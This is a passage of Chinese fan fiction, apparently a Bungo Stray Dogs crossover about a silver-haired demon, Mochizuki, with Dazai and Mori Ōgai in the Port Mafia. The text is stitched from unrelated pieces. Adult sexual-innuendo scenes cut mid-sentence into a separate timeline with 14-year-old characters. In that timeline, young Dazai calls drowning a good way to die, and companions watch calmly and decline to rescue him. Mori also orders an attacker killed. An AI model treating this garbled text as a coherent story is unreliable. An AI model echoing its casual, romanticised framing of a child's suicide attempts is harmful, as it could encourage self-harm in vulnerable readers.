大概是因为两个“钻石”要一起学习体术,森鸥外对此表示了高度重视,竟然在急需用人之际把首领的直属部队,黑蜥蜴中的百人长广津柳浪派来给他们两个当教练。 可怜的广津先生一把年纪了还要加班。 广津柳浪对着望月说:“请望月先生就像太宰先生那样不使用异能的,全力向我进攻。” 望月:“……” 太宰治瞬间满血复活般直起身体为他加油:“望月,你要替我报仇啊!” “把老爷子痛扁一顿!” 望月:“……”他做不到。 他选择走路靠近广津柳浪,然后对着他的下巴挥了一拳,不出意料地被他轻易挡住。 广津柳浪皱眉道:“望月先生,你的拳头就像棉花一样轻飘飘的,没有任何力气。” “请你用尽全力攻击我。” “至少要像这样。”说完他就示范性地对着望月迅速地打了一拳。 望月瞳孔一缩,他下意识地扭身,但还是被打中了肩膀。 他轻轻颦着眉捂住肩膀向后滑了几步远。 “反应不错,但是太慢了。”广津柳浪有些惊讶他下意识的反应。 “再来一次吧,望月先生。” 望月只好按他说的再次进攻。 不对。 太宰治的目光死死盯着望月,不对劲,望月的动作好奇怪。 通过让望月不断的进攻,广津柳浪也很快发现了不对劲,他停下手奇怪地望向气喘吁吁的望月:“望月先生,从你下意识的反应来看你就像是个高手高手高高手,但是你的力气是这么回事?” 每次望月攻击他时使用的力气都是那种根本打不动人的程度,但如果说望月是故意不用力的也不可能,因为从他的发力动作看他绝对是使了不小的力气,且他现在气喘吁吁的样子也不像假的。 望月尽量平稳呼吸:“如你所见,广津先生,我无法正常学习或者使用体术。” 欸?太宰治讶异地睁圆眼睛,是望月的身体有什么问题吗? 听到这个正常人都会忍不住怀疑其真实性的消息,比起一旁还控制不住表情的太宰治,广津柳浪不愧是活得久见得多的成年人,他没有对望月的这方面问题进行过多询问,只是道:“嗯,我会将此事如实报告给首领的。” 太稳重了,广津先生是比森先生还稳重的成年人! 心中默默感慨的太宰治抱着芙芙来到望月身边,他好奇地睁着鸢眸观赏望月这少见的狼狈模样:“望月,这样是天生的吗?” 望月下眼眸:“不是,是以前发生了一些事。” 三个人之中,最无辜的应该要数中岛敦了。 留着斜刘海的银发少年表情困惑。 他也算吗? 自己好像什么都没做,什么也没说诶。 看着某个银色的后脑勺,太宰眨了眨眼睛。 可他早就已经不是童贞处男了诶。 至于是谁干的嘛,某只笨蛋应该最清楚才对。 黑发青年看着对方气呼呼的背影,眉眼弯弯的,忍不住扑哧一声笑了出来。 中岛敦偷瞄了一样身旁的太宰治。 唔,和平时完全不一样的表情,似乎变得鲜活了起来。 太宰治并没有注意到敦的观察,只是在心中慢吞吞地想道。 嗯……稍微去哄哄那只笨蛋恶魔吧。 第 102 章 太宰线 真是一群可恶又讨厌的人类雄性。 不管是太宰还是织田,或者侦探社的其他人,对于他这样一只邪恶又伟大的恶魔,居然完全没有任何的敬畏之心。 望月气呼呼地在心里骂着。 银发少年满脸愤愤,嘴巴高高撅起。 如果此时露出那条尾巴,应该正不爽地拍打地面,啪啪作响。 福泽谕吉正好在和国木田独步说话。 余光瞥到一旁不知道因为什么而气鼓鼓的望月,福泽谕吉的声音顿了顿,和国木田交代完事情后走了过去。 银发长者垂眸,问道。 “望月?” 上石安平只在诊所内休养到恢复体力就打算离开了。 “这样的真的没问题吗,上石君?”森鸥外担忧地询问。 “你身上的伤还没恢复呢。” “不必担心,我已经通知同伴过来了。”上石安平穿上自己的外套,从中摸出了把枪,但他并没有将枪口对准森鸥外的意思。 “想必你为我包扎的时候应该就已经发现了吧,我身上的这把枪。” “森医生,我是一名黑手党,隶属于港口mafia。” 森鸥外意外地看着他:“上石君,其实你不用告诉我这些,我不会多问的。” 上石安平摇头,郑重地说:“不,森医生,你救了我,我就不该对你有所隐瞒。” “这外面可能还有我的敌人在寻找我,所以我必须要尽快回到组织。等我安全回去之后,我会来找你支付医疗费的。” “以及,如果你以后遇到麻烦可以告诉我,我会帮忙的。” 等上石安平离开后,太宰治望着森鸥外脸上带着深意的微笑,感叹道:“上石先生已经完全信任森医生了呢。” 森鸥外嘴角的弧度扩大,幽深的紫眸中泛起红色的光泽:“只是信任还不够哦,太宰君。” 太宰治也勾起笑容:“森医生好像要干什么不得了的事呢。” “哈哈哈,也没夸张啦太宰君。” 在他们俩个对着假笑的时候,望月抱着芙芙从爱丽丝面前路过。 爱丽丝眼巴巴地望着他:“望月,望月!可以让芙芙陪爱丽丝玩吗?” 望月:“现在不行。” “欸?为什么?”爱丽丝失望地问道。 太宰治也不和森鸥外一起假笑了,他凑过来对爱丽丝做了个鬼脸:“因为我和望月还有芙芙要出去玩喽!” “不带你哦~” 爱丽丝头顶冒出一朵乌云,大雨从乌云中倾盆落下,她蓝色的眼睛就如两片透彻的湖泊般迅速积满了水汽。 泪水从她的眼角大颗大颗地滑落,她哭着喊:“林太郎——!” “爱丽丝!不哭不哭~”森欧外手忙脚乱地为她擦眼泪。 “我想和芙芙一起玩呜呜呜……” “这样啊……,”于是森鸥外为难地看向望月,“望月君,既然你们要出门的话不如让爱丽丝和你们一起出去吧?” “不要!”还没等望月开口,太宰治就抢先道,“就~是~不~要~带~爱~丽~丝~一~起~!” “……呜哇!”面对太宰治带着恶意的眼神,爱丽丝只能委屈地哭得更大声,那还能怎么办,她碰到太宰治就会被消失,根本打不过他呜呜呜…… “呜呜呜太宰,好讨厌!” 森鸥外无奈地叹气:“太宰君,爱丽丝可是女孩子,要温柔点嘛。” “太宰君……,这么说话好过分啊,”森鸥外被打击到了般地垂头,“爱丽丝的这些行为可都是她按自己的意愿做的哦。” “这种事,就算是望月也不会信的吧!” 安静站在一旁的望月:“……?” 的确,他自从知道爱丽丝是森鸥外的异能后就没把她当成单独个体看,爱丽丝的一切行为不管看起来多自然多幼稚,其实都是按照森鸥外的想法来实行的。 但是太宰的那句连他也不会相信是什么意思?太宰是对他有什么误会吗? “唉,好吧看起来确实是这样,连望月也不相信呢,明明爱丽丝这么可爱的说。”森鸥外挫败地捂住脸。 爱丽丝生气地鼓起嘴:“还不都是因为林太郎大笨蛋太没用了!” “爱丽丝,不要这么说嘛~”森鸥外原本捂在脸上的手放在了心脏上,“呜呜~就算是生气了,爱丽丝也好可爱哇!” 没用的林太郎!害得爱丽丝只能克服恐惧绕过太宰治,靠近望月,这次她望向的是他怀里的芙芙:“芙芙和爱丽丝一起玩好吗?” 芙芙拨浪鼓似的摇头:“芙!——芙!” “呜呜呜哇——!”又被拒绝的爱丽丝再一次哭出了声。 森鸥外抱着爱丽丝好奇地看着芙芙:“说起来,望月君。” “芙芙是什么生物呢?” “我查了很多资料都没查出来。” 太宰治紧张了,……望月会说么?现在向他提问的可是代餐医生啊,望月会因为代餐的原因说出芙芙的身份吗?但如果望月说了,是不是就证明他在他那里的好感度真的比不过森医生……? 明明他才是更早认识望月的,太宰治鸢色的眼眸渐渐暗沉下去。 下一刻,望月淡淡地回答:“芙芙就是芙芙。” 太宰治的眼睛瞬间被重新点亮,望月没有说!看来即使是代餐森医生的地位又不过如此,而且望月在他拒绝了和爱丽丝一起出门时也没反对,哼哼果然,还是他太宰治应该更重要吧。 “不想说吗?那也没办法啊。”森鸥外忧伤地叹气。 他还想继续说什么但被太宰治活泼地打断了:“我们要出门了,森医生你不要再耽误我们了!” “好吧好吧,那你们要回来吃晚饭吗?” “才不要,谁要和30多岁的大叔一起蹲在诊所里吃泡面啊。” “……哈哈哈,因为位置太偏了,目前诊所赚不到什么钱,所以才只能吃泡面嘛。”森鸥外尴尬挠头。 “虽然不回来吃饭,但还是要早点回家啊,小孩子在外面可是很危险的。” 看着森鸥外苦哈哈地模样,跟着太宰治一点点远离诊所的望月最终还是开口说道:“太宰,我可以把我的钱分给森医生。” “想都不要想!”太宰治瞪大眼睛,气呼呼地说,“望月,这种连钱都赚不到的变态大叔给他再多钱也是没用的!” “而且,今天离开的那个上石不是说了他会支付报酬的嘛?等他回来报恩的时候,森医生的身份就要不一样了。” 望月没想明白:“什么意思。” “等到时候你就知道啦,反正森医生很快就会有钱了。”太宰治不打算解释,他想通了,要成为望月信任的人得让望月依赖他才行,现在望月对这些世俗什么都不懂,他也没必要都解释了,在这方面望月只要依赖他的分析就可以了。 只要望月越来越依赖他,他总有一天会知晓他身上所有的秘密的。 “对了,芙芙好像不喜欢爱丽丝?”太宰治若无其事地转移话题。 “不是不喜欢,只是有些接受不了她的活泼。”望月也没有在意太宰治不愿意继续刚才的话题,他平静地回答。 “我还以为芙芙会很喜欢小孩子呢,毕竟芙芙喜欢我不就是因为我也是小孩子吗?”太宰治想到第一次见面时,望月说之所以对他那么包容是因为芙芙喜欢他,而他后面又问了芙芙为什么喜欢他,望月说是因为他和他一样都是小孩子的原因。 “……”三花猫听到望月冷漠的回答后惊讶地张圆了猫嘴,这……这两个孩子原来不是朋友吗? 关系竟然差到会见死不救的地步。 难道要老夫出手吗? 三花猫……不,是外表看似是三花猫实际上是异能界的传奇人物夏目漱石,是个不折不扣的人类。 目前正在为自己的“三刻构想”而奔波的他,只是在河边休息一会,谁知道就碰见了两个孩子友谊破碎的现场,还有一个没见过奇怪生物正对着他嗅来嗅去。 三花猫安静下来后,望月又重新将目光放回到了太宰治身上,或者说只露出一腿在河面上的太宰治身上。 已经顺着河水向下漂动了,不知道太宰这次能不能自杀成功。 望月心里平静地想着,他跟太宰治漂流的速度沿着河边往下游走去。 芙芙和担忧的三花猫跟在他身边。 很快,他们还没走几步,太宰治就自己从河里冒出脑袋丧着脸往岸上游。 看来这次也没成功。 望月注视着太宰治爬上岸,三花猫也松了口气。 “感觉怎么样?”他好奇地问,这似乎是太宰治第一次入水。 “没什么感觉啦,就是很安静,没有任何声音,仿佛时间都停止了。”太宰治低声呢喃道,水珠顺着他额上黑色的发丝滴落在苍白的脸上。 “太棒了,这感觉太美好了!”没过多久,他就摆出了近乎痴迷的表情,沉入河中的时候他什么都无法思考……现在回想起来,这感觉真是太美好了! “那你为什么出来了?”望月不解,这不就是太宰想要的没有痛苦的死亡吗? “……因为喉咙很难受啊,一开始是很美好的,后面就非常难受了,和上吊没什么区别。”仿佛想到了什么难受的事,太宰治幸福的表情瞬间消失了。 他耸拉着眉眼:“果然,上天是不可能眷顾我的,根本就找不到没有痛苦的死法嘛。” 望月:“真遗憾。” 芙芙也点头:“芙。” 旁听了他们对话的三花猫:“……” 这两个孩子是不是哪里不对?心有很大问题啊! 沉默半晌,望月只是说:“芙芙不是谁都喜欢的。”爱丽丝又不是真的人类幼崽,而且就算是,芙芙也更喜欢安静的孩子。 “芙!”芙芙发出肯定的声音。 太宰治惊讶地低下头看向芙芙:“欸?!真的吗?” 不是谁都可以得到芙芙的喜欢,所以他也是特别的? “芙芙!”芙芙跃进他的怀里舔了舔他的脸。 “好恶心……”太宰治心里的感动消失了,就算芙芙不是狗他也还是接受不了这种湿乎乎、黏腻腻的感觉。 “芙~” 外面的街道上应该是刚下过雨,空气中弥漫着一股雨后独有的清新味,城市像被水洗过一样透亮。 太阳橘黄的光照在水面上,使河水披着一层金色,波光粼粼。 绚丽的彩虹也悬挂上在上空。 “哇~!望月,你快看,这条河好漂亮好干净!”太宰治惊喜地笑了起来。 望月赞同地回应:“嗯。” “所以入水也是个不错的死法呢!”充满活力地说完后,太宰治“扑腾”一声就直接跳进了河里。 溅起的水花把躺在路边的三花猫都吓了一跳,“喵嗷”地蹦起,三花猫震惊地瞪大了眼睛,似乎很惊讶上一秒还正常的太宰治下一秒就入水了。 “芙?” 三花猫发出的动静成功吸引了芙芙的注意力,它转着脑袋观察四周,确定没有其他人后立马从望月的怀里蹦出来。 芙芙好奇地靠近三花猫:“芙~?” “喵——!?”还在紧张入水的太宰治的三花猫又被这靠近的奇怪生物吓到了。 这居然不是那个孩子的娃娃吗? 这是猫还是狗?就算是老夫也没见过这么奇怪的生物啊…… 还有,同伴都入水了,那个长发的孩子怎么还这么淡定!?要快点把人救上来才行啊! 三花猫绕过芙芙,跑到望月脚下扒着他的腿喵喵叫着,见望月奇怪地看着它,它又对着河里已经开始顺着水流向下漂的太宰治叫唤。 望月好像懂了它的意思:“你想让我救他?” “没必要,是太宰自己要入水的。” 嘻嘻。 望月的眼睛里突然迸发出闪亮的小星星,已经迫不及待起来,脸颊上的潮红更加浓郁。 像是闻到肉味的小狗似的,银发恶魔身后的尾巴飞快地摇晃。 太宰治凑近了望月的脸庞,用牙齿咬了一下对方耳朵上的软骨,并且用犬牙轻轻磨了磨。 他轻笑着,连带着半边的身体都在发麻。 “诶~望月很想要吃饭?” 在望月眼睛一亮,伸手准备拉开对方裤子的拉链时,准备大快朵颐时。 黑发青年忽然松开了自己的牙齿,在他的耳边轻声地,一字一顿地说道。 “不、行。” “这个就是对望月酱的「惩罚」哦~” 虽然某只恶魔已经忘记之前的生气,然而关于对方主动让社长摸尾巴这件事, 他可还记着账呢。 第 103 章 太宰线 ……哈啊?惩罚? 本来想着只要让自己吃一口,自己就原谅对方之前的失礼和捉弄。 结果这个人类居然还说要惩罚自己? 简直是倒反天罡了! 望月脸上痴迷的表情瞬间僵住,变得扭曲狰狞。 欲求不满的银发恶魔顿时竖起了眉毛,那副龇牙咧嘴的样子,恨不得在这里将对方就地正法。 如果不是亲身感受过对方,望月真的要怀疑面前的人类雄性是个阳|痿。 不过,他以为说不让吃自己就会不吃了吗? 别小看他们魅魔了! 望月脸上露出了阴恻恻的冷笑,摆明了不会乖乖听话。 即使港口mafia的首领得到了森鸥外作为私人医生,他那由受伤发展而来的病情也还是越来越严重,这位感受到自己不断生命流逝的首领也越来越癫狂。 起初只是冒犯港口mafia的人会被残忍地解决,到后面就成了只要首领看什么不顺眼就要进行大清洗,横滨的流血事件因此越来越多。 森鸥外也比以往更加忙碌了,他除了按时为首领缓解伤痛之外,还逐渐开始接触起了港口mafia的其他人,其中有五大干部的尾崎红叶、大佐先生,特别作战部队黑蜥蜴的百人长广津柳浪,以及不是干部但却有着异能的兰堂。 他们都是因不认同首领如今暴行而被森鸥外拉拢的人。 而望月则作为守护者一直跟在森鸥外身边,他目睹了森鸥外是如何凭着医生的身份接触他们,又如何一步步得到他们的支持。 也是如此,望月对森鸥外的印象从是医生的变态转变为了是一个有野心有计谋、同时执行力很强的变态。 再一次利用土地竖起“盾牌”挡住飞来的子弹,望月平静地走到森鸥外身前,手掌触地时,不断冒出土刺将敌人从藏身地逼出并迅速捏在土团中。 森鸥外看着面露恐惧的袭击者,轻笑道:“望月君,不用留活口。” 一声闷响后,尸体和散开的土团一起落在地上。 森鸥外转过身,不再看身后狼藉的场面,伸出手欣慰地拍了拍走到他身边的望月的肩膀,欣慰道:“望月君,多亏有你呢,不然我都不知道要死多少回了。” 望月淡淡地回应:“没有我,爱丽丝也可以保护你。” “但我现在可是一个手无缚鸡之力的医生啊,完全没有自保能力哦。”森鸥外微微弯起嘴角,为了降低首领的警惕,他从没在港口mafia中表现过自己的异能。 “说起来,你有见过太宰君吗?”他突然想到什么,“太宰君不是和我们一起过来的吗,他现在去哪了?” “这孩子太顽皮了,这个点了还要在外面玩吗?” “再不出现的话,我们就抛下他自己回家吧。” “森医生还是这么可恶啊,”太宰治忽然从阴影处走出来,“望月你不要听他的,要等我一起回去嘛!” 森鸥外笑着看向他:“看戏好玩吗,太宰君?” “森医生这不是早就知道了嘛我在了么……”太宰治幽幽道:“如果森医生能害怕地尖叫的话,那的确是一场好玩的戏剧。” “唉,太宰君这样一点也不可爱哦。”森鸥外叹气道。 “明明我们是为了等太宰君才会遇袭的啊。” “不过,太宰君让我们等这么久……,是去做什么了吗?” 太宰治摊开手道:“只是在和人聊天而已,毕竟我和森医生不一样,我可是很受欢迎的。” “太宰君,别这么说嘛,”森鸥外苦涩道,“我也是平常工作太忙了,才没时间交朋友。”说到最后他语调一沉,意味深长地看向太宰治。 “不像太宰君,在港口mafia也交了不少朋友,很多人对你的印象都很不错呢。” “包括首领也是。” 太宰治只是沉默地望着森鸥外,他最近因为无聊帮港口mafia底层人员解决了些小事,所以在港口mafia中有了点地位,但只是在底层中有。至于首领,那个疯魔的家伙只是对他的一些黑泥言论很感兴趣罢了……,但森医生提这些是什么意思? 是在警告他不要破坏他的计划吗? “太宰君不要误会哦,我没别的意思,只是有些担心……,毕竟望月君什么新朋友都没交到,但太宰君就已经有那么多朋友了,”见太宰治沉默,森鸥外故作忧愁道,“你应该不会喜新厌旧地抛弃望月君吧?” 望月微微后仰,拉开了他们快要鼻尖贴着鼻尖的距离。 然后他点头回应太宰治:“嗯。” 至少太宰暂时是不可能抛弃他的,他还没知道芙芙和他的秘密呢。 “那看来是我想多了,你们的友情还是你们自己更了解。”森鸥外苦笑道。 “至于我为什么让望月一直跟在身边,这也是没办法的事嘛,太宰君。现在可是非常时期,不止是其他组织,港口mafia内部也有些骚乱……,所以刺杀我的人真的很多。” “如果没有望月保护我的话,我一定会完蛋的。” 横滨其他的黑手党组织想要杀了他这个一直给港口mafia的首领吊着命私人的医生,组织内部也有忍受不了首领的一部分人想要杀了他。或许他们真正想要杀的他身后的首领,但现在他们确确实实在威胁着森鸥外的生命。 “那还不是森医生自己活该么。”太宰治吐槽道,如果他不掺和进港口mafia这个烂摊子,不就不会有这些事了吗? “对我稍微温柔点吧,我可是很喜欢你的,太宰。”森鸥外轻声道,太宰君不愧是“钻石”,即使没有望月君这种强大的异能,也能凭着自己的头脑在港口mafia立足呢。 森鸥外真的很欣赏他。 而从收留他们开始,他对这两个“钻石”就一直势在必得了,而现在望月已经选择加入他这边了,太宰迟早也会的。森鸥外对此非常有信心。 森鸥外这边在思索怎么拿下“钻石”,那边的太宰治听到那句“我可是很喜欢你的”之后,整个人都不好了。 他从头到脚的汗毛都竖了起来,像炸毛的猫一样原地起跳蹦到望月身上,他戒备地望向森鸥外:“我要恶心吐了,森医生。” 只是真情流露的森鸥外:“……?” “太宰君,你这样反应太让我伤心了。” “望月快救救我,我要被森医生的恶心大法给恶心死啦,呜呜呜……!”太宰治抱着望月悲伤地喊道。 结果望月费力地把他扯了下来,然后在他难以置信地目光中说:“太宰,这里不是可以放松警惕的地方,你先离我远点。”现在还不能确定周围还有没有人想要袭击森医生,所以他要先确保自己的异能随时可以放出来。 因为港口mafia的首领最近下达的任务过多,导致人手严重不足,且在得知森鸥外身边有一个强大的异能者后,首领就没给他安排人手了。就连司机也没有,所以他们回诊所的时候是打车回去的。 坐在后座,望月奇怪地问太宰治:“刚才你为什么要躲在后面?” “因为我才是真正柔弱的那个欸,如果在你们打斗的时候我突然走过去,那岂不是很危险?”太宰治头靠着窗户说,和扮柔弱的森鸥外不同,他是真的很柔弱啦! “可就算有危险也是你期待的死亡不是吗?”望月疑惑道。 “我才不要在你和别人打斗的时候死掉!”太宰治别过头道,不然这样也太丢人了吧! 试想一下,望月正和敌人打得火热或者完全压着对方打,结果他突然出现在他们的视野中,还被敌人的攻击误伤到死掉,这样不就显得太废了嘛,超丢人的,他不要在望月面前丢人哇! 至于为什么不是望月的攻击误伤到他……,望月绝对不会干这么蠢的事! “反正都怪森医生啦!” 坐在前面副驾驶的森鸥外转过头来,无奈道:“太宰君,我还在这里哦,而且这也能怪到我头上吗?”让人头都痛了。 “当然是森医生的问题。”太宰治直气壮地说。 “芙呜!”“会的,这是非常非常痛的。” 两个“非常”让太宰治放弃用枪来自杀的想法,他恹恹地说:“我讨厌痛。” 当太宰治也不再说话后,诊所内就安静地只能听见森鸥外处伤口和爱丽丝给他递工具的声音了,爱丽丝毕竟是他的异能能够完美的按照他心中所想地行动。 子弹被全部取出后就是较为轻松的敷药环节了,森鸥外也终于有空闲说话了,他状似不经意地问:“望月君似乎对‘医生’很感兴趣?” “嗯。” “是有认识的医生吗?” 望月愣住,森医生竟然问了和太宰一样的问题……他们也太像了吧。 “我曾经有一个主治医生。” 森鸥外惊讶地说:“望月君原来还生过病吗?” “……”望月沉默着,虽然不算是生病,但这没有解释的必要。 没得到回答的森鸥外也不意外,他差不多已经摸清楚望月的性格了,不想去回答的事他会选择沉默。所以他也不会强求,只是笑着问了一句:“那个医生是一个好医生吗?” 望月垂下眼眸:“应该是的,他是个心软的家伙。” “这样啊。”森鸥外笑容加深,原来如此,难怪看起来冷淡的望月君对他态度温和,原来是有“医生”这个身份的好感加层啊。 ……不过,他这算什么,代餐吗? 思考中的森鸥外和太宰治对视了眼神,他从太宰治讥讽的眼神中看出“没错,你就是代餐”的意味。 森鸥外:“……” “说起来,医生的‘好坏’还可以从技术这方面来看哦,不过意思和我之前讲的‘好坏’不一样就是了。技术上的好是指医术水平高……”森鸥外一边为病床上的男人包扎,一边滔滔不绝地讲解起来。 既然是代餐,那他就要好好利用这层身份来刷望月君的好感才行。作为利益至上的成年人可不会为自己是代餐而感到伤心。 太宰治震惊地看着被森鸥外所讲解的与“医生”有关的知识吸引的望月,仿佛看到了他头顶不断冒出的好感+1+1+1+1+1…… 这不公平!他刷了那么久的好感,居然不如森医生这个后来的刷得快——! 回到诊所之后,望月和太宰治受到了待在诊所内的芙芙的热烈欢迎。 因为最近望月要保护森鸥外,而为了保护他就少不了要战斗,所以不方便带着芙芙。芙芙只能跟着太宰治或者被太宰治抛下留在诊所和爱丽丝玩。 今天就是太宰治抛下芙芙的一次,因此芙芙在他们回来的时候表现了自己的生气。它先是蹦进望月的怀里热情地蹭了蹭他的脸,然后又跳进太宰治怀里对着他的脸一顿乱舔,它知道太宰治不喜欢它舔他的。 太宰治:“……” 但这种报复也不是第一次了,所以太宰治熟能生巧地拎着芙芙的后颈将它扔到望月那边,然后冲进卫生间疯狂洗脸。 “芙!芙芙!”留芙芙在外面发出胜利的叫声。 目睹了一切的望月:“……” 他无奈地抚摸着芙芙的脊背。 夜晚,原本正在给爱丽丝换小裙子的森鸥外突然接到了一个电话。 之后他就将望月还有太宰治喊到了客厅。 “森医生,我都要睡了!”太宰治抱怨道,“你最好有事哦。” “抱歉,太宰君,我不是有意打扰你们的。” “只是我觉得这件事你有必要知道。”森鸥外轻叹着摇头。 “上石先生在今晚的行动中不幸牺牲了。” “……” 上石安平,一个被森鸥外利用的工具人,平时除了来找森鸥外聊天,就只有那次带着森鸥外成为港口mafia首领的私人医生时存在感最高,其他时候都找不见他的身影。 是一个快要被人遗忘的人。 “上石先生没有亲人,所以他将遗产留给了我们,”森鸥外自言自语地说,“这也算是医疗费吗?” 太宰治眸光沉沉:“真可怜啊,将森医生当成朋友了呢。” 望月则是平静地望着森鸥外。 果然森鸥外的悲伤很快就消失了,他笑着摇头:“原本还在想之后该怎么和上石先生解释的,现在好了,已经不需要解释了呢。” “望月君、太宰君,”他半身站在光下,半身在阴影里,“明天,你们和我一起去见首领吧。” 银发恶魔胡乱地挥舞着双手,像是驱散面前人类堪称荒谬的话语。那张白皙的脸颊上满是红意。 “你们这群笨蛋人类,这完全、完全就是……咕唔——” 面前好像破防了的银发少年似乎连话都说不完整了。 平时在外头都会收好的尾巴,此时都被主人忘记,直接慌张到绷直。 “都、都是为了完成任务!反正吾辈、吾辈只是想要成为大恶魔!” “诶、诶……” 中岛敦慌乱地想要道歉。 余光却瞥到了不远处,刚进入到咖啡厅的太宰治。 后者一进门,正好听到了这些话。 望月憋红了脸颊,紧闭着眼睛不敢睁开,大声喊道。 “可、可恶!” “——不要拿这种纯洁的感情来玷污我们之间的肉|体关系啊!” 第 104 章 太宰线 望月对自己身后的太宰治的存在一无所知。 他清了清嗓子,抬起脑袋骄傲地说道。 “太宰只是吾辈的食物,没错,只是食物而已。” 在他喊完这句话时,周围瞬间变得寂静,连根针掉在地上的声音都能听见。 而望月依旧没有察觉到此时的异样。 银发少年正双手叉腰,即便心脏怦怦乱跳着,耳朵发烫,也努力做出一副若无其事的样子。 真是的,都要怪这群人类说出些令魔头疼的话。 望月努力寻找一种情感来表达他此时的心情。 大概是苦恼和慌乱。 嗯嗯,就是这样。 他们恶魔怎么可能会和食物成为恋人,又不是那群蠢货吸血鬼! 银发恶魔自我肯定般点了点头。 然而这个时候,他睁开眼睛,这才察觉到有哪里不对劲的样子。 “噢~!爱丽丝,好可爱呀~”被扑倒的森鸥外露出了甜蜜的笑容。 被称为爱丽丝的金发女孩则气鼓鼓地在他怀里扑腾:“林太郎大坏蛋!把爱丽丝一个人丢在这里,太坏了!” “欸?居然把这么小的女孩子一个人丢在这么黑漆漆的地方吗?真是不负责任的大人呢。”太宰治讶异地开口。 他转头就对望月说:“望月,我们还是走吧,这种黑心大叔肯定不会给我好好包扎的!” “啊呀,你们误会我了,我出门的时候没有关灯哦。”森鸥外急急忙忙地抱着爱丽丝站起来打开了诊所的灯,明亮的白炽灯照亮了诊所窄小但还算干净整洁的环境。 “爱丽丝,你快替我解释一下嘛~” “才不要,林太郎本来就是不负责任的大坏蛋!我才不要告诉这些他们灯是爱丽丝自己关的,就是为了在林太郎回来的时候方便偷袭!”爱丽丝傲娇地扭过头。 “爱丽丝~~!”她娇俏的小表情让森鸥外陶醉地捂住了脸,“太可爱了!” “哼,最讨厌林太郎了!” “太宰君,可以这么叫你吧?” “我要把你脖子上的绷带拆下来咯,要乖乖配合哦。”森鸥外手上举着崭新的绷带晃了晃。 太宰治做了一个作呕的表情:“大叔,你说话一直这么恶心吗?” 森鸥外微笑:“哈哈哈,因为小孩子都是要哄的嘛,我给幼儿园的小朋友看病的时候这么哄他们就很有效果呢。” 太宰治幽幽道:“我可不是什么幼儿园的小朋友啊。” “噢噢,是么,那么太宰君今年几岁了呢?”森鸥外手上的动作利落,面上还挂着和善的微笑。 “14岁~”太宰治拉长声音回答。 “喔,比爱丽丝大个几岁呢!”森鸥外看似惊讶地说,“但果然这个年纪都还是个小孩子啊。” 太宰治弯起眼睛:“如果和大叔你比的话,我确实还是个小孩子呢。” “啊这个……哈哈,说得也是呢。”森鸥外尴尬笑道。 “不过,太宰君怎么这么小的年纪就想要自杀呢?是有什么想不开的吗?”他像知心大哥哥一样开口,“有什么想不开可以告诉我哦,虽然不一定能解决你的问题,但是说出来会好一些吧。” 闻言,太宰治幽幽地看着他:“是么,那大叔你可以告诉我人活着的意义是什么吗?” “我一直因为这个问题而感到困扰呢。” 森鸥外摇头:“……抱歉啊,太宰君,这是个相当深奥的问题,我无法回答。” “切~” 随着话题的结束,太宰治感到无趣地移动眼珠看向被爱丽丝围着大转的望月和芙芙。 “说起来,望月今年几岁呢?” “14。” “和那边黑乎乎的哥哥是一个年龄!”爱丽丝捂着嘴笑,“那你们都是爱丽丝的哥哥哦!” “因为爱丽丝是11岁!” 什么叫黑乎乎啊……!太宰治不满地鼓起腮帮,瞪向笑得可爱的金发小女孩。 “望月,望月!”爱丽丝拜托地望着望月怀里的芙芙,“这是你的娃娃吗?好可爱!可以给爱丽丝摸摸吗?”说完她就试探性的伸出手。 望月后退一步避开:“不行。” “欸!?”爱丽丝又难过又渴望地说,“爱丽丝没有别的意思啦,我只是想摸一下,就一下!” “这也不可以吗?” 她第一次见到这么可爱的生物,真的很想错摸摸欸! “不可以。”望月回答的还是很坚决,如果让爱丽丝摸到了芙芙,她就会发现芙芙有体温这件事。 太宰治抓住机会立刻嘲笑:“别白费功夫了,望月才不会把芙芙给你摸呢,只有我和望月才可以摸芙芙!” “呜……,”本来就很难过的爱丽丝因为太宰治的话更伤心了,她哭着扑进已经完成包扎的森鸥外怀中,“林太郎!爱丽丝好难过!呜哇哇——!” “爱丽丝只是想摸一下那个漂亮娃娃呜!” “爱丽丝,不哭不哭,哭得我心都要碎了。”森鸥外环抱着她,温柔地安抚。 “爱丽丝想摸漂亮娃娃!” “可是,望月君不愿意,我们也不可以强求嘛……”森鸥外为难地说。 “呜哇哇哇!”爱丽丝哭得更大声了, 森鸥外只能手忙脚乱的一直安慰:“爱丽丝不要哭了嘛,我带你去吃小蛋糕好不好?” “那爱丽丝要吃超多小蛋糕!” “不可以过量哦,不然会蛀牙的。” “林太郎超讨厌!” 小蛋糕? 望月怔住,就连怀里的芙芙也不禁抬头看向他们。 [小望月,不要生气了嘛,我把我的草莓蛋糕给你,你就原谅我吧~] “好吵啊,”太宰治边抱怨,边摸着脖子上新缠上去的绷带走到望月的身边,“包扎已经完成了,望月我们还是快点离开吧。” “……望月?”没得到回应的太宰治疑惑地瞥向望月,就见望月一直盯着森鸥外和爱丽丝不知道在想什么。 “森医生和爱丽丝是什么关系?”望月忽地问道。 欸? 不仅森鸥外和爱丽丝愣住了,太宰治也愣住了,怎么回事,望月为什么这个医生这么主动啊?答应跟他来诊所就算了,还问这个问题…… 感到困惑的太宰治认真地看向望月的眼睛,啊……这个眼神,你在透过他看谁啊,望月。 看起来30多岁的大叔和11岁的女孩,大叔对女孩还非常宠爱,这种关系一般都是父母和孩子的关系吧。 望月原本是这么想的,直到森鸥外支支吾吾地开口:“虽然这么说有点糟糕,但是……爱丽丝和我是最亲密的关系哦。” “……”“你要救他吗?”望月看着森鸥外将那个男人搬上客厅的病床上。 “他都这样倒在门口了,如果我不救的话那也太狠心了。”森鸥外神情悲悯地戴上医用手套。 望月拉了条椅子坐在旁边,一副打算旁观的模样:“医生都是这样么?” 森鸥外然地转头:“什么?” “只要人需要救治就会伸出手,医生都是这样么?”望月的语气一如既往的平淡,但他金色的眼中却有着纯然的好奇。 森鸥外摇头:“不是哦,医生也分好医生和坏医生,你说的只要有人需要就会伸出援手的是好医生,而坏医生可就不一定,说不定他们不仅不会救人还会杀人哦。” 望月似懂非懂:“救人的是好医生,不救人的是坏医生?” “既然不会救人,那坏医生还算是医生吗?” 唉,14岁的孩子还处于认识世界的阶段啊。 森鸥外解释地头疼:“医生之所以是医生,是因为他们掌握着医学科学技术。好医生会用这项技术挽救生命或者以治病为业,至于坏医生……不救人的不一定是坏医生,利用这项技术害人的一定是坏医生。” 他感叹道:“利用自己的技术不管救人还是害人、成为好医生还是坏医生,都取决于医者的心。” “那森医生是好医生还是坏医生?”望月问道。 “我也不清楚呢,毕竟当局者迷嘛哈哈哈。”森欧外笑着说。 